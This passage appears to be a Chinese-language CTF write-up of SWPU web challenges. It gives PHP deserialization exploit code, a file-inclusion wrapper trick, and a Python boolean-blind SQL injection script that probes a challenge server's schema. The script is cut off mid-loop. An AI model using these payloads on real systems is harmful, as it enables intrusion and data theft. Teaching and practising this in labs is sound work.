  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>简单反序列化，都不是pop链</p>
<p>思路1：就是生成对象，触发<code>__construct()</code>，它会初始化属性，然后我们之后赋值即可，销毁对象触发<code>__destruct()</code>,注意，销毁后不能序列化此对象了，所以我们需要在销毁前把他复制给另一个对象</p>
<p>exp：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="k">class</span> <span class="nc">wllm</span><span class="p">{</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">    <span class="k">public</span> <span class="nv">$admin</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">    <span class="k">public</span> <span class="nv">$passwd</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="nv">$a</span><span class="o">=</span><span class="k">new</span> <span class="nx">wllm</span><span class="p">();</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="nv">$a</span><span class="o">-&gt;</span><span class="na">admin</span><span class="o">=</span><span class="s2">&#34;admin&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="nv">$a</span><span class="o">-&gt;</span><span class="na">passwd</span><span class="o">=</span><span class="s2">&#34;ctf&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="nv">$b</span><span class="o">=</span><span class="nv">$a</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="nx">unset</span><span class="p">(</span><span class="nv">$a</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="k">echo</span><span class="p">(</span><span class="nx">serialize</span><span class="p">(</span><span class="nv">$b</span><span class="p">));</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">
</span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">php</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>思路2：直接把<code>__construct</code>里赋值语句改了</p>
<p>exp：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="k">class</span> <span class="nc">wllm</span><span class="p">{</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">    <span class="k">public</span> <span class="nv">$admin</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">    <span class="k">public</span> <span class="nv">$passwd</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">    <span class="k">public</span> <span class="k">function</span> <span class="fm">__construct</span><span class="p">(){</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">        <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">admin</span> <span class="o">=</span><span class="s2">&#34;admin&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">        <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">passwd</span> <span class="o">=</span> <span class="s2">&#34;ctf&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="nv">$a</span><span class="o">=</span><span class="k">new</span> <span class="nx">wllm</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="nv">$b</span><span class="o">=</span><span class="nv">$a</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="nx">unset</span><span class="p">(</span><span class="nv">$a</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="k">echo</span><span class="p">(</span><span class="nx">serialize</span><span class="p">(</span><span class="nv">$b</span><span class="p">));</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">
</span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">php</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>Payload一样的<code>O:4:&quot;wllm&quot;:2:{s:5:&quot;admin&quot;;s:5:&quot;admin&quot;;s:6:&quot;passwd&quot;;s:3:&quot;ctf&quot;;}</code></p>
<h3 id="include">include<a class="anchor" href="#include">#</a></h3>
<p><img
  src="/077813/swpu_include_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="218" height="69"
/>
</p>
<p>题目名是包含，传一下flag.php试试</p>
<p><img
  src="/077813/swpu_include_2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="706" height="594"
/>
</p>
<p>只要file有值就亮源码，最后一句仍然包含了文件，伪协议读取flag.php</p>
<p><img
  src="/077813/swpu_include_3.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1083" height="307"
/>
</p>
<p>BASE64解码就是flag</p>
<h3 id="error">error<a class="anchor" href="#error">#</a></h3>
<p>输入测试，布尔盲注，能执行就有<code>没有提示...........</code>字符串，可以写脚本也可以直接sqlmap</p>
<p>自己写的脚本：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln">  1</span><span class="cl"><span class="kn">import</span> <span class="nn">requests</span>
</span></span><span class="line"><span class="ln">  2</span><span class="cl">
</span></span><span class="line"><span class="ln">  3</span><span class="cl"><span class="n">url</span> <span class="o">=</span> <span class="s2">&#34;http://1.14.71.254:28019/index.php&#34;</span>
</span></span><span class="line"><span class="ln">  4</span><span class="cl"><span class="n">cont</span> <span class="o">=</span> <span class="s2">&#34;没有提示...........&#34;</span>
</span></span><span class="line"><span class="ln">  5</span><span class="cl">
</span></span><span class="line"><span class="ln">  6</span><span class="cl">
</span></span><span class="line"><span class="ln">  7</span><span class="cl"><span class="k">def</span> <span class="nf">get_database_length</span><span class="p">():</span>
</span></span><span class="line"><span class="ln">  8</span><span class="cl">    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">10</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">  9</span><span class="cl">        <span class="n">payload</span> <span class="o">=</span> <span class="s2">&#34;?id=1&#39;and length(database())=</span><span class="si">%d</span><span class="s2"> --+&#34;</span> <span class="o">%</span> <span class="n">i</span>
</span></span><span class="line"><span class="ln"> 10</span><span class="cl">        <span class="n">uri</span> <span class="o">=</span> <span class="n">url</span> <span class="o">+</span> <span class="n">payload</span>
</span></span><span class="line"><span class="ln"> 11</span><span class="cl">        <span class="n">result</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">uri</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 12</span><span class="cl">        <span class="k">if</span> <span class="n">cont</span> <span class="ow">in</span> <span class="n">result</span><span class="o">.</span><span class="n">text</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 13</span><span class="cl">            <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;数据库名长度为：</span><span class="si">%d</span><span class="s2">&#34;</span> <span class="o">%</span> <span class="n">i</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 14</span><span class="cl">            <span class="k">return</span> <span class="n">i</span>
</span></span><span class="line"><span class="ln"> 15</span><span class="cl">
</span></span><span class="line"><span class="ln"> 16</span><span class="cl">
</span></span><span class="line"><span class="ln"> 17</span><span class="cl"><span class="k">def</span> <span class="nf">get_database_name</span><span class="p">():</span>
</span></span><span class="line"><span class="ln"> 18</span><span class="cl">    <span class="n">name</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="ln"> 19</span><span class="cl">    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="n">db_len</span> <span class="o">+</span> <span class="mi">1</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 20</span><span class="cl">        <span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="s2">&#34;abcdefghijklmnopqrstuvwxyz_&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 21</span><span class="cl">            <span class="n">payload</span> <span class="o">=</span> <span class="s2">&#34;?id=1&#39;and substr(database(),</span><span class="si">%d</span><span class="s2">,1)=&#39;</span><span class="si">%s</span><span class="s2">&#39; --+&#34;</span> <span class="o">%</span> <span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="n">j</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 22</span><span class="cl">            <span class="n">uri</span> <span class="o">=</span> <span class="n">url</span> <span class="o">+</span> <span class="n">payload</span>
</span></span><span class="line"><span class="ln"> 23</span><span class="cl">            <span class="n">result</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">uri</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 24</span><span class="cl">            <span class="k">if</span> <span class="n">cont</span> <span class="ow">in</span> <span class="n">result</span><span class="o">.</span><span class="n">text</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 25</span><span class="cl">                <span class="n">name</span> <span class="o">+=</span> <span class="n">j</span>
</span></span><span class="line"><span class="ln"> 26</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;数据库名为：</span><span class="si">%s</span><span class="s2">&#34;</span> <span class="o">%</span> <span class="n">name</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 27</span><span class="cl">    <span class="k">return</span> <span class="n">name</span>
</span></span><span class="line"><span class="ln"> 28</span><span class="cl">
</span></span><span class="line"><span class="ln"> 29</span><span class="cl">
</span></span><span class="line"><span class="ln"> 30</span><span class="cl"><span class="k">def</span> <span class="nf">get_table_number</span><span class="p">():</span>
</span></span><span class="line"><span class="ln"> 31</span><span class="cl">    <span class="n">num</span> <span class="o">=</span> <span class="mi">0</span>
</span></span><span class="line"><span class="ln"> 32</span><span class="cl">    <span class="k">while</span> <span class="mi">1</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 33</span><span class="cl">        <span class="n">payload</span> <span class="o">=</span> <span class="s2">&#34;?id=0&#39; union select 1,2,table_name from information_schema.tables where &#34;</span> \
</span></span><span class="line"><span class="ln"> 34</span><span class="cl">                  <span class="s2">&#34;table_schema=&#39;</span><span class="si">%s</span><span class="s2">&#39; limit </span><span class="si">%d</span><span class="s2">,1--+&#34;</span> <span class="o">%</span> <span class="p">(</span><span class="n">db_name</span><span class="p">,</span> <span class="n">num</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 35</span><span class="cl">        <span class="n">uri</span> <span class="o">=</span> <span class="n">url</span> <span class="o">+</span> <span class="n">payload</span>
</span></span><span class="line"><span class="ln"> 36</span><span class="cl">        <span class="n">result</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">uri</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 37</span><span class="cl">        <span class="k">if</span> <span class="n">cont</span> <span class="ow">in</span> <span class="n">result</span><span class="o">.</span><span class="n">text</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 38</span><span class="cl">            <span class="n">num</span> <span class="o">+=</span> <span class="mi">1</span>
</span></span><span class="line"><span class="ln"> 39</span><span class="cl">        <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 40</span><span class="cl">            <span class="k">break</span>
</span></span><span class="line"><span class="ln"> 41</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;表的数目为：</span><span class="si">%d</span><span class="s2">&#34;</span> <span class="o">%</span> <span class="n">num</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 42</span><span class="cl">    <span class="k">return</span> <span class="n">num</span>
</span></span><span class="line"><span class="ln"> 43</span><span class="cl">
</span></span><span class="line"><span class="ln"> 44</span><span class="cl">
</span></span><span class="line"><span class="ln"> 45</span><span class="cl"><span class="k">def</span> <span class="nf">get_table_length</span><span class="p">(</span><span class="n">n</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 46</span><span class="cl">    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">20</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 47</span><span class="cl">        <span class="n">payload</span> <span class="o">=</span> <span class="s2">&#34;?id=1&#39; and length((select table_name from information_schema.tables where &#34;</span> \
</span></span><span class="line"><span class="ln"> 48</span><span class="cl">                  <span class="s2">&#34;table_schema=&#39;</span><span class="si">%s</span><span class="s2">&#39;  limit </span><span class="si">%d</span><span class="s2">,1))=</span><span class="si">%d</span><span class="s2"> --+&#34;</span> <span class="o">%</span> <span class="p">(</span><span class="n">db_name</span><span class="p">,</span> <span class="n">n</span><span class="p">,</span> <span class="n">i</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 49</span><span class="cl">        <span class="n">uri</span> <span class="o">=</span> <span class="n">url</span> <span class="o">+</span> <span class="n">payload</span>
</span></span><span class="line"><span class="ln"> 50</span><span class="cl">        <span class="n">result</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">uri</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 51</span><span class="cl">        <span class="k">if</span> <span class="n">cont</span> <span class="ow">in</span> <span class="n">result</span><span class="o">.</span><span class="n">text</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 52</span><span class="cl">            <span class="k">return</span> <span class="n">i</span>
</span></span><span class="line"><span class="ln"> 53</span><span class="cl">
</span></span><span class="line"><span class="ln"> 54</span><span class="cl">
</span></span><span class="line"><span class="ln"> 55</span><span class="cl"><span class="k">def</span> <span class="nf">get_table_names</span><span class="p">():</span>
</span></span><span class="line"><span class="ln"> 56</span><span class="cl">    <span class="n">names</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="ln"> 57</span><span class="cl">    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">tb_num</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 58</span><span class="cl">        <span class="n">name</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="ln"> 59</span><span class="cl">        <span class="n">tb_len</span> <span class="o">=</span> <span class="n">get_table_length</span><span class="p">(</span><span class="n">i</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 60</span><span class="cl">        <span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">tb_len</span> <span class="o">+</span> <span class="mi">1</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 61</span><span class="cl">            <span class="k">for</span> <span class="n">k</span> <span class="ow">in</span> <span class="s2">&#34;abcdefghijklmnopqrstuvwxyz_&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 62</span><span class="cl">                <span class="n">payload</span> <span class="o">=</span> <span class="s2">&#34;?id=1&#39; and substr((select table_name from information_schema.tables where &#34;</span> \
</span></span><span class="line"><span class="ln"> 63</span><span class="cl">                          <span class="s2">&#34;table_schema=&#39;</span><span class="si">%s</span><span class="s2">&#39;  limit </span><span class="si">%d</span><span class="s2">,1),</span><span class="si">%d</span><span class="s2">,1)=&#39;</span><span class="si">%s</span><span class="s2">&#39; --+&#34;</span> <span class="o">%</span> <span class="p">(</span><span class="n">db_name</span><span class="p">,</span> <span class="n">i</span><span class="p">,</span> <span class="n">j</span><span class="p">,</span> <span class="n">k</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 64</span><span class="cl">                <span class="n">uri</span> <span class="o">=</span> <span class="n">url</span> <span class="o">+</span> <span class="n">payload</span>
</span></span><span class="line"><span class="ln"> 65</span><span class="cl">                <span class="n">result</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">uri</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 66</span><span class="cl">                <span class="k">if</span> <span class="n">cont</span> <span class="ow">in</span> <span class="n">result</span><span class="o">.</span><span class="n">text</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 67</span><span class="cl">                    <span class="n">name</span> <span class="o">+=</span> <span class="n">k</span>
</span></span><span class="line"><span class="ln"> 68</span><span class="cl">        <span class="n">names</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">name</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 69</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="n">names</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 70</span><span class="cl">    <span class="k">return</span> <span class="n">names</span>
</span></span><span class="line"><span class="ln"> 71</span><span class="cl">
</span></span><span class="line"><span class="ln"> 72</span><span class="cl">
</span></span><span class="line"><span class="ln"> 73</span><span class="cl"><span class="k">def</span> <span class="nf">get_column_num</span><span class="p">(</span><span class="n">i</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 74</span><span class="cl">    <span class="n">num</span> <span class="o">=</span> <span class="mi">0</span>
</span></span><span class="line"><span class="ln"> 75</span><span class="cl">    <span class="k">while</span> <span class="mi">1</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 76</span><span class="cl">        <span class="n">payload</span> <span class="o">=</span> <span class="s2">&#34;?id=0&#39; union select 1,2,column_name from information_schema.columns where &#34;</span> \
</span></span><span class="line"><span class="ln"> 77</span><span class="cl">                  <span class="s2">&#34;table_name=&#39;</span><span class="si">%s</span><span class="s2">&#39; limit </span><span class="si">%d</span><span class="s2">,1--+&#34;</span> <span class="o">%</span> <span class="p">(</span><span class="n">tb_names</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="n">num</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 78</span><span class="cl">        <span class="n">uri</span> <span class="o">=</span> <span class="n">url</span> <span class="o">+</span> <span class="n">payload</span>
</span></span><span class="line"><span class="ln"> 79</span><span class="cl">        <span class="n">result</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">uri</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 80</span><span class="cl">        <span class="k">if</span> <span class="n">cont</span> <span class="ow">in</span> <span class="n">result</span><span class="o">.</span><span class="n">text</span><span class="p">:</span>
